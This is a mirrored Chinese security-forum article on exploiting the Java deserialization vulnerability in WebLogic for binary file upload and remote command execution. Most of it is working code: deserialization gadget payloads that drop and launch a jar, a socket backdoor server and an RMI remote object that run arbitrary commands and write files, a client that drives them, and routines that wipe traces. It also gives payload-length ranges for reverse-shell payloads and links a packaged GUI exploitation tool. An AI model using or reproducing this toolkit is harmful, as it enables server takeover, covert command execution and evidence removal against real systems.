WebLogic之Java反序列化漏洞利用實現二進位制檔案上傳和命令執行

wyzsk發表於2020-08-19
作者: Bird101 · 2015/12/29 15:34

0x00 簡介


Java反序列化漏洞由來已久,在WebLogic和JBoss等著名伺服器上都曝出存在此漏洞。FoxGlove Security安全團隊的breenmachine給出了詳細的分析,但沒有給出更近一步的利用方式。前段時間rebeyond在不需要連線公網的情況下使用RMI的方式在WebLogic上實現了文字檔案上傳和命令執行,但沒有實現二進位制檔案上傳。我透過使用Socket的方式實現了二進位制檔案上傳和命令執行,同時也實現了RMI方式的二進位制檔案。

0x01 思路


首先發Payload在目標伺服器中寫入一個Socket實現的迷你伺服器類,所有的功能都將由這個迷你伺服器來執行,然後再發一個Payload來啟動伺服器,最後本地客戶端建立Socket連線的方式向伺服器傳送請求來使用相應的功能,其中上傳二進位制檔案我採用分塊傳輸的思想,這樣可以實現上傳較大的檔案。

  1. 本地建立Socket實現的迷你伺服器類並匯出jar包
  2. 把jar包上傳至目標伺服器
  3. 啟動目標伺服器上的迷你伺服器
  4. 使用二進位制檔案上傳和命令執行功能
  5. 傳送關閉請求,清理目標伺服器殘留檔案

0x02 實現


1.本地建立Socket實現的迷你伺服器類並匯出jar包

#!java
public class Server {

    /**
     * 啟動伺服器
     * @param port
     * @param path
     */
    public static void start(int port, String path) {
        ServerSocket server = null;
        Socket client = null;
        InputStream input = null;
        OutputStream out = null;
        Runtime runTime = Runtime.getRuntime();
        try {
            server = new ServerSocket(port);
            // 0表示功能模式 1表示傳輸模式
            int opcode = 0;
            int len = 0;
            byte[] data = new byte[100 * 1024];
            String uploadPath = "";
            boolean isUploadStart = false;
            client = server.accept();
            input = client.getInputStream();
            out = client.getOutputStream();
            byte[] overData = { 0, 0, 0, 6, 6, 6, 8, 8, 8 };
            while (true) {
                len = input.read(data);
                if (len != -1) {
                    if (opcode == 0) {
                        // 功能模式
                        String operation = new String(data, 0, len);
                        String[] receive = operation.split(":::");
                        if ("bye".equals(receive[0])) {
                            // 斷開連線 關閉伺服器
                            out.write("success".getBytes());
                            out.flush();
                            FileOutputStream outputStream = new FileOutputStream(path);
                            // 清理殘留檔案
                            outputStream.write("".getBytes());
                            outputStream.flush();
                            outputStream.close();
                            break;
                        } else if ("cmd".equals(receive[0])) {
                            // 執行命令 返回結果
                            try {
                                Process proc = runTime.exec(receive[1]);
                                InputStream in = proc.getInputStream();
                                byte[] procData = new byte[1024];
                                byte[] total = new byte[0];
                                int procDataLen = 0;
                                while ((procDataLen = in.read(procData)) != -1) {
                                    byte[] temp = new byte[procDataLen];
                                    for (int i = 0; i < procDataLen; i++) {
                                        temp[i] = procData[i];
                                    }
                                    total = byteMerger(total, temp);
                                }
                                if (total.length == 0) {
                                    out.write("error".getBytes());
                                } else {
                                    out.write(total);
                                }
                                out.flush();
                            } catch (Exception e) {
                                e.printStackTrace();
                                out.write("error".getBytes());
                                out.flush();
                            }
                        } else if ("upload".equals(receive[0])) {
                            // 切換成傳輸模式
                            uploadPath = receive[1];
                            isUploadStart = true;
                            opcode = 1;
                        }
                    } else if (opcode == 1) {
                        // 傳輸模式
                        byte[] receive = new byte[len];
                        for (int i = 0; i < len; i++) {
                            receive[i] = data[i];
                        }
                        if (Arrays.equals(overData, receive)) {
                            // 傳輸結束切換成功能模式
                            isUploadStart = false;
                            opcode = 0;
                        } else {
                            // 分塊接收
                            FileOutputStream outputStream = null;
                            if (isUploadStart) {
                                // 接收檔案的開頭部分
                                outputStream = new FileOutputStream(uploadPath, false);
                                outputStream.write(receive);
                                isUploadStart = false;
                            } else {
                                // 接收檔案的結束部分
                                outputStream = new FileOutputStream(uploadPath, true);
                                outputStream.write(receive);
                            }
                            outputStream.close();
                        }
                    }
                } else {
                    Thread.sleep(1000);
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
            try {
                out.write("error".getBytes());
                out.flush();
            } catch (IOException e1) {
                e1.printStackTrace();
            }
        } finally {
            try {
                client.close();
                server.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    /**
     * 合併位元組陣列
     * @param byte_1
     * @param byte_2
     * @return 合併後的陣列
     */
    private static byte[] byteMerger(byte[] byte_1, byte[] byte_2) {
        byte[] byte_3 = new byte[byte_1.length + byte_2.length];
        System.arraycopy(byte_1, 0, byte_3, 0, byte_1.length);
        System.arraycopy(byte_2, 0, byte_3, byte_1.length, byte_2.length);
        return byte_3;
    }

}

編譯並匯出jar包

2.傳送Payload把jar包上傳至伺服器

這裡我要特別說明一點,breenmachine在介紹WebLogic漏洞利用時特別說明了需要計算Payload的長度,但是我看到過的國內文章沒有一篇提到這一點,給出的利用程式碼中的Payload長度值寫的都是原作者的09f3,我覺得這也是導致漏洞利用失敗的主要原因之一,因此傳送Payload前最好計算下長度。

A very important point about the first chunk of the payload. Notice the first 4 bytes “00 00 09 f3”. The “09 f3” is the specification for the TOTAL payload length in bytes.

Payload的長度值可以在一個範圍內,我們團隊的cf_hb經過fuzz測試得到幾個範圍值:

  1. poc訪問指定url:0x0000-0x1e39
  2. 反彈shell:0x000-0x2049
  3. 執行命令calc.exe:0x0000-0x1d38

這一步生成上傳jar包的Payload

#!java
public static byte[] generateServerPayload(String remotePath) throws Exception {
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(FileOutputStream.class),
            new InvokerTransformer("getConstructor",
                    new Class[] { Class[].class },
                    new Object[] { new Class[] { String.class } }),
            new InvokerTransformer("newInstance",
                    new Class[] { Object[].class },
                    new Object[] { new Object[] { remotePath } }),
            new InvokerTransformer("write", new Class[] { byte[].class },
                    new Object[] { Utils.hexStringToBytes(SERVER_JAR) }),
            new ConstantTransformer(1) };
    return generateObject(transformers);
}

傳送到目標伺服器寫入jar包

3.傳送Payload啟動目標伺服器上的迷你伺服器

生成啟動伺服器的Payload

#!java
public static byte[] generateStartPayload(String remoteClassPath, String remotePath, int port) throws Exception {
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(URLClassLoader.class),
            new InvokerTransformer("getConstructor",
                    new Class[] { Class[].class },
                    new Object[] { new Class[] { URL[].class } }),
            new InvokerTransformer("newInstance",
                    new Class[] { Object[].class },
                    new Object[] { new Object[] { new URL[] { new URL(remoteClassPath) } } }),
            new InvokerTransformer("loadClass",
                    new Class[] { String.class },
                    new Object[] { "org.heysec.exp.Server" }),
            new InvokerTransformer("getMethod",
                    new Class[] { String.class, Class[].class },
                    new Object[] { "start", new Class[] { int.class, String.class } }),
            new InvokerTransformer("invoke",
                    new Class[] { Object.class, Object[].class },
                    new Object[] { null, new Object[] { port, remotePath } }) };
    return generateObject(transformers);
}

傳送到目標伺服器啟動迷你伺服器

4.使用二進位制檔案上傳和命令執行功能

本地測試客戶端的程式碼

#!java
public class Client {
    public static void main(String[] args) {
        Socket client = null;
        InputStream input = null;
        OutputStream output = null;
        FileInputStream fileInputStream = null;
        try {
            int len = 0;
            byte[] receiveData = new byte[5 * 1024];
            byte[] sendData = new byte[100 * 1024];
            int sendLen = 0;
            byte[] overData = { 0, 0, 0, 6, 6, 6, 8, 8, 8 };

            // 建立客戶端Socket
            client = new Socket("10.10.10.129", 8080);
            input = client.getInputStream();
            output = client.getOutputStream();

            // 傳送準備上傳檔案命令使伺服器切換到傳輸模式
            output.write("upload:::test.zip".getBytes());
            output.flush();
            Thread.sleep(1000);

            // 分塊傳輸檔案
            fileInputStream = new FileInputStream("F:/安全集/tools/BurpSuite_pro_v1.6.27.zip");
            sendLen = fileInputStream.read(sendData);
            if (sendLen != -1) {
                output.write(Arrays.copyOfRange(sendData, 0, sendLen));
                output.flush();
                Thread.sleep(1000);
                while ((sendLen = fileInputStream.read(sendData)) != -1) {
                    output.write(Arrays.copyOfRange(sendData, 0, sendLen));
                    output.flush();
                }
            }
            Thread.sleep(1000);

            // 傳送檔案上傳結束命令
            output.write(overData);
            output.flush();
            Thread.sleep(1000);

            // 執行命令
            output.write("cmd:::cmd /c dir".getBytes());
            output.flush();
            Thread.sleep(1000);

            // 接收返回結果
            len = input.read(receiveData);
            String result = new String(receiveData, 0, len, "GBK");
            System.out.println(result);
            Thread.sleep(1000);

            // 關閉伺服器
            output.write("bye".getBytes());
            output.flush();
            Thread.sleep(1000);

            len = input.read(receiveData);
            System.out.println(new String(receiveData, 0, len));
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                fileInputStream.close();
                client.close();
            } catch (Exception e) {
                e.printStackTrace();
            }

        }
    }
}

測試結果1 圖片1

測試結果2 圖片2

5. 傳送關閉請求清理殘留檔案

客戶端傳送關閉請求

#!java
output.write("bye".getBytes());
output.flush();

伺服器清除殘留檔案並關閉

#!java
if ("bye".equals(receive[0])) {
    // 斷開連線 關閉伺服器
    out.write("success".getBytes());
    out.flush();
    FileOutputStream outputStream = new FileOutputStream(path);
    // 清理殘留檔案
    outputStream.write("".getBytes());
    outputStream.flush();
    outputStream.close();
    break;
}

這就是按照我的思路實現的全部過程

0x03 RMI方式實現二進位制檔案上傳及最佳化流程


這部分只是對rebeyond的利用方式進行了擴充套件,新增了二進位制檔案上傳的功能以及最佳化了流程。

擴充套件的遠端類

#!java
public class RemoteObjectImpl implements RemoteObject {

    /**
     * 分塊上傳檔案
     */
    public boolean upload(String uploadPath, byte[] data, boolean append) {
        FileOutputStream out = null;
        try {
            out = new FileOutputStream(uploadPath, append);
            out.write(data);
            return true;
        } catch (Exception e) {
            e.printStackTrace();
            return false;
        } finally {
            try {
                out.close();
            } catch (Exception e) {
                e.printStackTrace();
                return false;
            }
        }
    }

    /**
     * 執行命令
     */
    public String exec(String cmd) {
        try {
            Process proc = Runtime.getRuntime().exec(cmd);
            BufferedReader br = new BufferedReader(new InputStreamReader(
                    proc.getInputStream()));
            StringBuffer sb = new StringBuffer();
            String line;
            String result;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }
            result = sb.toString();
            if ("".equals(result)) {
                return "error";
            } else {
                return result;
            }
        } catch (Exception e) {
            e.printStackTrace();
            return "error";
        }
    }

    /**
     * 反註冊遠端類並清除殘留檔案
     */
    public void unbind(String path) {
        try {
            Context ctx = new InitialContext();
            ctx.unbind("RemoteObject");
        } catch (Exception e) {
            e.printStackTrace();
        }
        FileOutputStream out = null;
        File file = null;
        try {
            file = new File(path);
            out = new FileOutputStream(file);
            out.write("".getBytes());
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                out.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

    }

    /**
     * 註冊遠端類
     */
    public static void bind() {
        try {
            RemoteObjectImpl remote = new RemoteObjectImpl();
            Context ctx = new InitialContext();
            ctx.bind("RemoteObject", remote);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

這樣最後反註冊和清除殘留檔案的時候就不需要再傳送Payload了,只要呼叫遠端類的unbind方法就行。

0x04 Socket VS RMI


VS Socket RMI
需要額外埠可能被防火牆攔截 使用WebLogic本身埠
傳輸速率 透過Socket位元組流較快 透過遠端過程呼叫較慢

0x05 總結


這裡以建立Socket伺服器的思想實現了漏洞利用,我們可以繼續擴充套件伺服器的功能,甚至其他的程式碼執行漏洞也可以嘗試這種方式,在傳輸較大檔案時建議優先使用Socket方式。最後,我開發了GUI程式整合了Socket和RMI兩種利用方式,大家可以自主選擇。

Socket利用方式 圖片3

RMI利用方式 圖片4

下載連結:http://pan.baidu.com/s/1pKuR9GJ 密碼:62x4

0x06 參考連結


  1. http://www.freebuf.com/vuls/90802.html
  2. http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章